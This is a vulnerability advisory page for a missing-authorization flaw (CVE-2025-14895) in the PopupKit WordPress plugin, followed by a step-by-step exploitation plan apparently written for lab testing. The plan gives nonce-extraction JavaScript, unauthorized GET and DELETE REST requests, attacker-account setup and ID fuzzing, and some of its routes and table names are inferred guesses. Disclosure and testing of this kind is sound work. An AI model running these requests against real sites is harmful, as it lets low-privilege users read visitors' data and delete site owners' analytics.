PopupKit <= 2.2.0 - Missing Authorization to Sensitive Information Disclosure and Data Deletion
Description
The PopupKit plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.2.0. This is due to the plugin not properly verifying that a user is authorized to access the /popup/logs REST API endpoint. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read and delete analytics data including device types, browser information, countries, referrer URLs, and campaign metrics.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=2.2.0Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2025-14895**, a missing authorization vulnerability in the **PopupKit** plugin (<= 2.2.0). --- ### 1. Vulnerability Summary The PopupKit plugin registers a REST API endpoint `/popup/logs` designed to manage analytics data. The vulnerability arises beca…
Show full research plan
This exploitation research plan targets CVE-2025-14895, a missing authorization vulnerability in the PopupKit plugin (<= 2.2.0).
1. Vulnerability Summary
The PopupKit plugin registers a REST API endpoint /popup/logs designed to manage analytics data. The vulnerability arises because the plugin fails to implement a restrictive permission_callback for this endpoint. While the endpoint is intended for administrative use (reading and deleting campaign metrics), it only checks if the user is authenticated, allowing any user with Subscriber-level permissions or above to access and manipulate sensitive analytics data.
2. Attack Vector Analysis
- REST Namespace/Route:
popup/v1/popup/logs(inferred based on plugin slug and description). - Vulnerable Methods:
GET: To retrieve analytics data (Information Disclosure).DELETE: To remove analytics data (Data Deletion).
- Required Role: Any authenticated user (Subscriber level).
- Authentication Mechanism: WordPress REST API uses the
X-WP-Nonceheader for authenticated requests from the browser or scripts. - Target Data: Device types, browser information, countries, referrer URLs, and campaign metrics stored in the plugin's custom logging tables.
3. Code Flow (Inferred)
- Registration: The plugin uses the
rest_api_inithook to register routes. - Endpoint Definition: Inside a class (likely
PopupKit_Rest_Controlleror similar),register_rest_routeis called:register_rest_route( 'popup/v1', '/popup/logs', [ [ 'methods' => 'GET', 'callback' => [ $this, 'get_logs' ], 'permission_callback' => [ $this, 'check_permission' ], // VULNERABLE: Returns true for Subscribers ], [ 'methods' => 'DELETE', 'callback' => [ $this, 'delete_logs' ], 'permission_callback' => [ $this, 'check_permission' ], // VULNERABLE: Returns true for Subscribers ], ]); - Vulnerable Callback: The
check_permissionfunction likely usescurrent_user_can( 'read' )or simply checksis_user_logged_in(), instead ofmanage_options. - Data Sink: The
get_logsanddelete_logsfunctions interact directly with the database (likely a table namedwp_popup_logsorwp_popupkit_logs) without further role verification.
4. Nonce Acquisition Strategy
To interact with the REST API as a Subscriber, we must obtain a valid wp_rest nonce.
- Mechanism: WordPress automatically localizes the REST nonce for logged-in users in the admin dashboard.
- Extraction Steps:
- Log in to the WordPress site as a Subscriber.
- Navigate to the Subscriber's profile page (
/wp-admin/profile.php). - Use
browser_evalto extract the nonce from the globalwpApiSettingsobject.
- JavaScript:
window.wpApiSettings.nonce
5. Exploitation Strategy
Part 1: Information Disclosure (GET)
- Request Tool:
http_request - Method:
GET - URL:
http://localhost:8080/wp-json/popup/v1/popup/logs - Headers:
X-WP-Nonce: [Extracted Nonce]Cookie: [Subscriber Session Cookies]
- Expected Response: A JSON array containing log entries with keys like
browser,device,country,referrer, etc.
Part 2: Data Deletion (DELETE)
- Request Tool:
http_request - Method:
DELETE - URL:
http://localhost:8080/wp-json/popup/v1/popup/logs - Headers:
X-WP-Nonce: [Extracted Nonce]Cookie: [Subscriber Session Cookies]
- Parameters (if required): The endpoint might accept an
idparameter or aclear_all=trueflag. (IfDELETEon the base route doesn't work, try.../popup/logs?id=1). - Expected Response: A success message (e.g.,
{"success": true}or200 OK).
6. Test Data Setup
- Install Plugin: Ensure
popup-builder-blockversion 2.2.0 is active. - Generate Logs:
- Create a simple popup using the plugin.
- View the popup on the frontend in an incognito window or via
browser_navigateto generate analytics entries.
- Create Attacker:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Verify Data Exists:
wp db query "SELECT COUNT(*) FROM wp_popupkit_logs;"(Verify the table name first usingwp db tables).
7. Expected Results
- Information Disclosure: The
GETrequest returns a 200 OK with sensitive visitor data that should only be visible to administrators. - Data Deletion: The
DELETErequest returns a 200 OK, and a subsequent check of the database confirms the log table is empty or the specific log entry is gone.
8. Verification Steps
- Check Database Count Before:
wp db query "SELECT COUNT(*) FROM wp_popupkit_logs;" - Execute DELETE Exploit.
- Check Database Count After:
wp db query "SELECT COUNT(*) FROM wp_popupkit_logs;" - Successful Outcome: The count should be 0 (or reduced), confirming the unauthorized deletion.
9. Alternative Approaches
- ID-Specific Deletion: If the base DELETE route is not registered, the plugin might use
DELETE /popup/logs/(?P<id>\d+). Attempt to fuzz the ID. - Query Parameters: Check if the
GETrequest accepts parameters like?limit=100or?campaign_id=1to filter data disclosure. - Namespace Check: If
popup/v1returns 404, search the plugin source forregister_rest_routeto find the exact namespace used in version 2.2.0. (Search pattern:grep -r "register_rest_route" .).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.